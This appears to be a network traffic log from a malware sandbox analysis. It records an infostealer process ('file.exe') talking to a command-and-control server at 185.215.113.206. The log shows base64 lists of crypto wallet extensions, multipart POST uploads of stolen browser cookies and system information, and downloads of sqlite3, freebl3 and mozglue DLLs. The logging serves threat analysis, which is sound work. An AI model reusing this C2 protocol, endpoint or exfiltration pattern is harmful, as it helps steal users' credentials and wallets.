Nov 15, 2024 09:55:14.982275009 CET	112	IN	Data Raw: 49 46 64 68 62 47 78 6c 64 48 78 72 63 47 5a 76 63 47 74 6c 62 47 31 68 63 47 4e 76 61 58 42 6c 62 57 5a 6c 62 6d 52 74 5a 47 4e 6e 61 47 35 6c 5a 32 6c 74 62 6e 77 78 66 44 42 38 4d 48 78 55 5a 58 4a 79 59 53 42 54 64 47 46 30 61 57 39 75 49 46 Data Ascii: IFdhbGxldHxrcGZvcGtlbG1hcGNvaXBlbWZlbmRtZGNnaG5lZ2ltbnwxfDB8MHxUZXJyYSBTdGF0aW9uIFdhbGxldHxhaWlmYm5iZm9icG1lZWtp
Nov 15, 2024 09:55:14.982289076 CET	1236	IN	Data Raw: 63 47 68 6c 5a 57 6c 71 61 57 31 6b 63 47 35 73 63 47 64 77 63 48 77 78 66 44 42 38 4d 48 78 4c 5a 58 42 73 63 6e 78 6b 62 57 74 68 62 57 4e 72 62 6d 39 6e 61 32 64 6a 5a 47 5a 6f 61 47 4a 6b 5a 47 4e 6e 61 47 46 6a 61 47 74 6c 61 6d 56 68 63 48 Data Ascii: cGhlZWlqaW1kcG5scGdwcHwxfDB8MHxLZXBscnxkbWthbWNrbm9na2djZGZoaGJkZGNnaGFjaGtlamVhcHwxfDB8MHxTb2xsZXR8ZmhtZmVuZGdkb2NtY2JtZmlrZGNvZ29mcGhpbW5rbm98MXwwfDB8QXVybyBXYWxsZXQoTWluYSBQcm90b2NvbCl8Y25tYW1hYWNocHBua2pnbmlsZHBkbWthYWtlam5oYWV8MXwwfDB8UG9
Nov 15, 2024 09:55:14.982320070 CET	1236	IN	Data Raw: 61 6d 39 38 4d 58 77 77 66 44 42 38 55 32 39 73 5a 6d 78 68 63 6d 55 67 56 32 46 73 62 47 56 30 66 47 4a 6f 61 47 68 73 59 6d 56 77 5a 47 74 69 59 58 42 68 5a 47 70 6b 62 6d 35 76 61 6d 74 69 5a 32 6c 76 61 57 39 6b 59 6d 6c 6a 66 44 46 38 4d 48 Data Ascii: am98MXwwfDB8U29sZmxhcmUgV2FsbGV0fGJoaGhsYmVwZGtiYXBhZGpkbm5vamtiZ2lvaW9kYmljfDF8MHwwfEN5YW5vIFdhbGxldHxka2RlZGxwZ2RtbWtrZmphYmZmZWdhbmllYW1ma2xrbXwxfDB8MHxLSEN8aGNmbHBpbmNwcHBkY2xpbmVhbG1hbmRpamNtbmtiZ258MXwwfDB8VGV6Qm94fG1uZmlmZWZrYWpnb2ZrY2p
Nov 15, 2024 09:55:14.982332945 CET	1236	IN	Data Raw: 5a 32 70 6c 62 57 56 72 5a 57 4a 6b 63 47 56 76 61 32 4a 70 61 32 68 6d 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 46 79 64 47 6c 68 62 69 42 42 63 48 52 76 63 79 42 58 59 57 78 73 5a 58 52 38 5a 57 5a 69 5a 32 78 6e 62 32 5a 76 61 58 42 77 59 6d Data Ascii: Z2plbWVrZWJkcGVva2Jpa2hmY2l8MXwwfDB8TWFydGlhbiBBcHRvcyBXYWxsZXR8ZWZiZ2xnb2ZvaXBwYmdjamVwbmhpYmxhaWJjbmNsZ2t8MXwwfDB8RmlubmllfGNqbWtuZGpobmFnY2ZicGllbW5rZHBvbWNjbmpibG1qfDF8MHwwfExlYXAgVGVycmEgV2FsbGV0fGFpamNiZWRvaWptZ25sbWplZWdqYWdsbWVwYm1wa3B
Nov 15, 2024 09:55:14.982343912 CET	1236	IN	Data Raw: 62 47 31 6e 59 57 35 6d 59 57 46 73 61 32 78 69 66 44 46 38 4d 48 77 77 66 45 4e 76 62 57 31 76 62 6b 74 6c 65 58 78 6a 61 47 64 6d 5a 57 5a 71 63 47 4e 76 59 6d 5a 69 62 6e 42 74 61 57 39 72 5a 6d 70 71 59 57 64 73 59 57 68 74 62 6d 52 6c 5a 48 Data Ascii: bG1nYW5mYWFsa2xifDF8MHwwfENvbW1vbktleXxjaGdmZWZqcGNvYmZibnBtaW9rZmpqYWdsYWhtbmRlZHwxfDB8MHxab2hvIFZhdWx0fGlna3Bjb2RoaWVvbXBlbG9uY2ZuYmVrY2NpbmhhcGRifDF8MHwwfE9wZXJhIFdhbGxldHxnb2poY2RnY3BicGZpZ2NhZWpwZmhmZWdla2RnaWJsa3wwfDB8MXxUcnVzdCBXYWxsZXR
Nov 15, 2024 09:55:14.982357025 CET	1052	IN	Data Raw: 63 47 4e 6e 5a 57 78 76 63 47 64 38 4d 58 77 77 66 44 42 38 51 32 39 74 63 47 46 7a 63 79 42 58 59 57 78 73 5a 58 51 67 5a 6d 39 79 49 46 4e 6c 61 58 78 68 62 6d 39 72 5a 32 31 77 61 47 35 6a 63 47 56 72 61 32 68 6a 62 47 31 70 62 6d 64 77 61 57 Data Ascii: cGNnZWxvcGd8MXwwfDB8Q29tcGFzcyBXYWxsZXQgZm9yIFNlaXxhbm9rZ21waG5jcGVra2hjbG1pbmdwaW1qbWNvb2lmYnwxfDB8MHxIQVZBSCBXYWxsZXR8Y25uY21kaGphY3BrbWpta2NhZmNocHBibnBuaGRtb258MXwwfDB8RWxsaSAtIFN1aSBXYWxsZXR8b2NqZHBtb2FsbG1nbWpiYm9nZmlpYW9mcGhiamdjaGh8MXw
Nov 15, 2024 09:55:14.984880924 CET	470	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GCGCBAECFCAKKEBFCFII Host: 185.215.113.206 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 43 47 43 42 41 45 43 46 43 41 4b 4b 45 42 46 43 46 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 65 34 64 35 34 38 63 36 33 61 63 38 30 35 65 39 30 32 64 66 31 65 34 39 32 35 36 37 66 61 34 66 32 34 61 39 30 62 36 61 32 62 61 64 36 63 63 39 38 35 33 63 66 39 30 35 35 33 38 61 37 33 63 64 33 37 39 64 38 33 64 0d 0a 2d 2d 2d 2d 2d 2d 47 43 47 43 42 41 45 43 46 43 41 4b 4b 45 42 46 43 46 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 47 43 47 43 42 41 45 43 46 43 41 4b 4b 45 42 46 43 46 49 49 2d 2d 0d 0a Data Ascii: ------GCGCBAECFCAKKEBFCFIIContent-Disposition: form-data; name="token"2e4d548c63ac805e902df1e492567fa4f24a90b6a2bad6cc9853cf905538a73cd379d83d------GCGCBAECFCAKKEBFCFIIContent-Disposition: form-data; name="message"fplugins------GCGCBAECFCAKKEBFCFII--
Nov 15, 2024 09:55:15.268934011 CET	335	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 08:55:15 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 108 Keep-Alive: timeout=5, max=96 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 4d 48 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 42 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 Data Ascii: TWV0YU1hc2t8MHx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDB8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb218
Nov 15, 2024 09:55:15.289906979 CET	203	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GIDBKKKKKFBGDGDHIDBG Host: 185.215.113.206 Content-Length: 6299 Connection: Keep-Alive Cache-Control: no-cache
Nov 15, 2024 09:55:15.289968967 CET	6299	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 47 49 44 42 4b 4b 4b 4b 4b 46 42 47 44 47 44 48 49 44 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 65 34 64 35 34 Data Ascii: ------GIDBKKKKKFBGDGDHIDBGContent-Disposition: form-data; name="token"2e4d548c63ac805e902df1e492567fa4f24a90b6a2bad6cc9853cf905538a73cd379d83d------GIDBKKKKKFBGDGDHIDBGContent-Disposition: form-data; name="file_name"c3lzdGVtX2luZ
Nov 15, 2024 09:55:16.094516993 CET	202	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 08:55:15 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=95 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 15, 2024 09:55:16.531213999 CET	94	OUT	GET /68b591d6548ec281/sqlite3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 15, 2024 09:55:16.812472105 CET	1236	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 08:55:16 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 11:30:30 GMT ETag: "10e436-5e7ec6832a180" Accept-Ranges: bytes Content-Length: 1106998 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELc!&@a0: 0@< .text%&`P`.data\|'@(,@`.rdatapDpFT@`@.bss(`.edata,@0@.idata@0.CRT,@0.tls @0.rsrc0@0.reloc<@>@0B/48@@B/19R"@B/31]'`(@B/45-.@B/57\B@0B/70
Nov 15, 2024 09:55:16.812508106 CET	112	IN	Data Raw: 00 00 23 03 00 00 00 d0 0e 00 00 04 00 00 00 4e 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 38 31 00 00 00 00 00 73 3a 00 00 00 e0 0e 00 00 3c 00 00 00 52 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 39 32 00 00 00 00 00 Data Ascii: #N@B/81s:<R@B/92P @
Nov 15, 2024 09:55:16.812881947 CET	1236	IN	Data Raw: 10 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: B

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.7	49823	185.215.113.206	80	7284	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 15, 2024 09:55:28.550916910 CET	629	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EBKKKEGIDBGHIDGDHDBF Host: 185.215.113.206 Content-Length: 427 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 42 4b 4b 4b 45 47 49 44 42 47 48 49 44 47 44 48 44 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 65 34 64 35 34 38 63 36 33 61 63 38 30 35 65 39 30 32 64 66 31 65 34 39 32 35 36 37 66 61 34 66 32 34 61 39 30 62 36 61 32 62 61 64 36 63 63 39 38 35 33 63 66 39 30 35 35 33 38 61 37 33 63 64 33 37 39 64 38 33 64 0d 0a 2d 2d 2d 2d 2d 2d 45 42 4b 4b 4b 45 47 49 44 42 47 48 49 44 47 44 48 44 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 30 52 6c 5a 6d 46 31 62 48 51 75 64 48 68 30 0d 0a 2d 2d 2d 2d 2d 2d 45 42 4b 4b 4b 45 47 49 44 42 47 48 49 44 47 44 48 44 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 [TRUNCATED] Data Ascii: ------EBKKKEGIDBGHIDGDHDBFContent-Disposition: form-data; name="token"2e4d548c63ac805e902df1e492567fa4f24a90b6a2bad6cc9853cf905538a73cd379d83d------EBKKKEGIDBGHIDGDHDBFContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lX0RlZmF1bHQudHh0------EBKKKEGIDBGHIDGDHDBFContent-Disposition: form-data; name="file"eyJpZCI6MSwicmVzdWx0Ijp7ImNvb2tpZXMiOltdfX0=------EBKKKEGIDBGHIDGDHDBF--
Nov 15, 2024 09:55:29.958215952 CET	203	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 08:55:29 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 15, 2024 09:55:30.095136881 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DAAAKFHIEGDGCAAAEGDG Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 41 41 41 4b 46 48 49 45 47 44 47 43 41 41 41 45 47 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 65 34 64 35 34 38 63 36 33 61 63 38 30 35 65 39 30 32 64 66 31 65 34 39 32 35 36 37 66 61 34 66 32 34 61 39 30 62 36 61 32 62 61 64 36 63 63 39 38 35 33 63 66 39 30 35 35 33 38 61 37 33 63 64 33 37 39 64 38 33 64 0d 0a 2d 2d 2d 2d 2d 2d 44 41 41 41 4b 46 48 49 45 47 44 47 43 41 41 41 45 47 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 44 41 41 41 4b 46 48 49 45 47 44 47 43 41 41 41 45 47 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------DAAAKFHIEGDGCAAAEGDGContent-Disposition: form-data; name="token"2e4d548c63ac805e902df1e492567fa4f24a90b6a2bad6cc9853cf905538a73cd379d83d------DAAAKFHIEGDGCAAAEGDGContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------DAAAKFHIEGDGCAAAEGDGContent-Disposition: form-data; name="file"------DAAAKFHIEGDGCAAAEGDG--
Nov 15, 2024 09:55:30.874061108 CET	202	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 08:55:30 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.7	49872	185.215.113.206	80	7284	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 15, 2024 09:55:36.592636108 CET	203	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FBAAAKFCAFIIDHIDGHIE Host: 185.215.113.206 Content-Length: 3087 Connection: Keep-Alive Cache-Control: no-cache
Nov 15, 2024 09:55:36.592700958 CET	3087	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 46 42 41 41 41 4b 46 43 41 46 49 49 44 48 49 44 47 48 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 65 34 64 35 34 Data Ascii: ------FBAAAKFCAFIIDHIDGHIEContent-Disposition: form-data; name="token"2e4d548c63ac805e902df1e492567fa4f24a90b6a2bad6cc9853cf905538a73cd379d83d------FBAAAKFCAFIIDHIDGHIEContent-Disposition: form-data; name="file_name"Y29va2llc1xNa
Nov 15, 2024 09:55:37.991473913 CET	203	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 08:55:37 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 15, 2024 09:55:38.539325953 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IEGCBAAFHDHDHJKEGCFC Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 45 47 43 42 41 41 46 48 44 48 44 48 4a 4b 45 47 43 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 65 34 64 35 34 38 63 36 33 61 63 38 30 35 65 39 30 32 64 66 31 65 34 39 32 35 36 37 66 61 34 66 32 34 61 39 30 62 36 61 32 62 61 64 36 63 63 39 38 35 33 63 66 39 30 35 35 33 38 61 37 33 63 64 33 37 39 64 38 33 64 0d 0a 2d 2d 2d 2d 2d 2d 49 45 47 43 42 41 41 46 48 44 48 44 48 4a 4b 45 47 43 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 49 45 47 43 42 41 41 46 48 44 48 44 48 4a 4b 45 47 43 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------IEGCBAAFHDHDHJKEGCFCContent-Disposition: form-data; name="token"2e4d548c63ac805e902df1e492567fa4f24a90b6a2bad6cc9853cf905538a73cd379d83d------IEGCBAAFHDHDHJKEGCFCContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------IEGCBAAFHDHDHJKEGCFCContent-Disposition: form-data; name="file"------IEGCBAAFHDHDHJKEGCFC--
Nov 15, 2024 09:55:39.314548016 CET	202	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 08:55:38 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 15, 2024 09:55:39.948561907 CET	94	OUT	GET /68b591d6548ec281/freebl3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 15, 2024 09:55:40.228984118 CET	1236	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 08:55:40 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "a7550-5e7e950876500" Accept-Ranges: bytes Content-Length: 685392 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!4p@AHSxFP/# @.text `.rdata @@.data<F0@.00cfg@@.rsrcx@@.reloc#$"@B
Nov 15, 2024 09:55:40.229042053 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 89 e5 68 4f 01 00 00 e8 f2 0b 08 00 83 c4 04 85 c0 74 0e 89 80 38 01 00 00 83 c0 0f 83 e0 f0 5d c3 68 13 e0 ff ff e8 c7 0b Data Ascii: UhOt8]h1]UWVEtu}UMt"0(h&40jVjjRQP?^_]USWVhO?t0
Nov 15, 2024 09:55:40.229053974 CET	1236	IN	Data Raw: 55 07 08 00 83 c4 08 eb ce cc cc cc cc cc cc cc cc cc cc cc 55 89 e5 53 57 56 83 e4 f8 83 ec 58 89 4c 24 2c 8b 7d 1c a1 b4 30 0a 10 31 e8 89 44 24 50 c7 44 24 3c 10 00 00 00 83 ff 18 72 19 89 f8 83 e0 07 75 12 8d 47 f8 3b 45 14 76 14 68 03 e0 ff Data Ascii: UUSWVXL$,}01D$PD$<ruG;Evhh\|$,}uT$4D$0P\|OL$8PVS'D$@?@L$L$D$D$D$$
Nov 15, 2024 09:55:40.229067087 CET	1236	IN	Data Raw: 55 89 e5 53 57 56 83 ec 24 8b 4d 1c 8b 75 0c a1 b4 30 0a 10 31 e8 89 45 f0 8b 7d 08 8d 59 f8 83 f9 10 75 32 8d 45 dc 8d 4d e0 6a 10 ff 75 18 6a 10 50 51 57 e8 f7 93 06 00 83 c4 18 89 c7 8d 75 e8 83 45 dc f8 c7 45 d8 00 00 00 00 85 ff 0f 85 b4 01 Data Ascii: USWV$Mu01E}Yu2EMjujPQWuEEC1;]vS{EE1uuSPVEPo9]SUYY)ZYEME]M)19D
Nov 15, 2024 09:55:40.229079008 CET	1236	IN	Data Raw: 00 00 00 0f 57 c8 0f 11 8c 0e 9c 00 00 00 83 c1 20 83 c3 fe 75 a6 eb 02 31 c9 f6 c2 01 74 28 0f 10 04 0f 0f 10 4c 0e 0c 0f 57 c8 0f 10 84 0e 8c 00 00 00 0f 11 4c 0e 0c 0f 10 0c 0f 0f 57 c8 0f 11 8c 0e 8c 00 00 00 31 db 8b 55 ac 39 c2 74 6b f6 c2 Data Ascii: W u1t(LWLW1U9tkt0T0U19t<f.0L0L0LL09uM17L^_[]USWVh1
Nov 15, 2024 09:55:40.229121923 CET	1236	IN	Data Raw: f0 8d 86 00 ff ff ff 3d 00 ff ff ff 77 0a 68 0e e0 ff ff e9 d0 00 00 00 8b 45 08 85 c0 0f 84 c0 00 00 00 8d 9d f0 fe ff ff 68 00 01 00 00 68 20 21 08 10 50 e8 28 f9 07 00 83 c4 0c bf 00 01 00 00 0f 1f 80 00 00 00 00 56 ff 75 0c 53 e8 0f f9 07 00 Data Ascii: =whEhh !P(VuS)9wWuSufDT>\>=t%>>f1h
Nov 15, 2024 09:55:40.229141951 CET	1236	IN	Data Raw: 45 d0 0f 84 a4 00 00 00 89 55 e0 89 5d dc 8b 45 ec 04 01 89 4d d4 0f b6 c8 8a 5d e8 8b 55 f0 8a 24 0a 00 e3 0f b6 f3 8b 55 f0 8a 3c 32 8b 55 f0 88 3c 0a 8b 55 f0 88 24 32 00 e7 0f b6 f7 8b 4d 10 8a 21 8b 4d f0 32 24 31 8b 4d d4 8b 55 e4 88 22 ba Data Ascii: EU]EM]U$U<2U<U$2M!M2$1MU")UtDEU$U<2U<U$2MaM2$1MUbu-]En~uMMUEEM]}7
Nov 15, 2024 09:55:40.229155064 CET	1236	IN	Data Raw: 04 0f 82 3a 03 00 00 0f b6 c9 89 4d ec 31 c0 89 d1 89 7d e4 89 5d dc 66 0f 1f 84 00 00 00 00 00 89 45 e8 8b 55 e4 8b 04 02 89 45 d4 8b 45 e8 8b 55 ec 8d 44 02 01 89 d3 0f b6 c0 8b 7d f0 0f b6 14 07 00 d1 0f b6 f1 8a 34 37 88 34 07 88 14 37 00 d6 Data Ascii: :M1}]fEUEEUD}4747EED}4}4EUEUu}<7}<U2u4EUU}4}
Nov 15, 2024 09:55:40.229166985 CET	896	IN	Data Raw: 01 cb 8b 52 14 89 95 3c ff ff ff 8b 4e 0c 89 8d a8 fe ff ff 11 d1 8b 46 28 89 85 c8 fe ff ff 01 c3 89 5d d4 8b 46 2c 89 85 cc fe ff ff 11 c1 8b 7e 4c 31 cf 8b 46 48 31 d8 81 f7 8c 68 05 9b 35 1f 6c 3e 2b 89 fb 81 c3 3b a7 ca 84 89 5d dc 89 c6 81 Data Ascii: R<NF(]F,~L1FH1h5l>+;]gu33`tSUSU`UM11UTEEMM11E`tS
Nov 15, 2024 09:55:40.229600906 CET	1236	IN	Data Raw: ff ff ff 11 f3 89 f8 01 d0 89 d7 89 45 b4 11 cb 89 5d c8 8b b5 64 ff ff ff 31 de 8b 5d 94 31 c3 89 da 0f a4 f2 10 89 55 b0 0f ac f3 10 89 5d 94 8b 75 ec 01 de 89 75 ec 8b 45 e0 11 d0 89 45 e0 31 c1 31 f7 89 c8 0f a4 f8 01 89 45 8c 0f a4 cf 01 89 Data Ascii: E]d1]1U]uuEE11E}tBP`MBTD]HM}]u1uP1Euu11}tOX EO\H}EE}1M1
Nov 15, 2024 09:55:41.385795116 CET	94	OUT	GET /68b591d6548ec281/mozglue.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
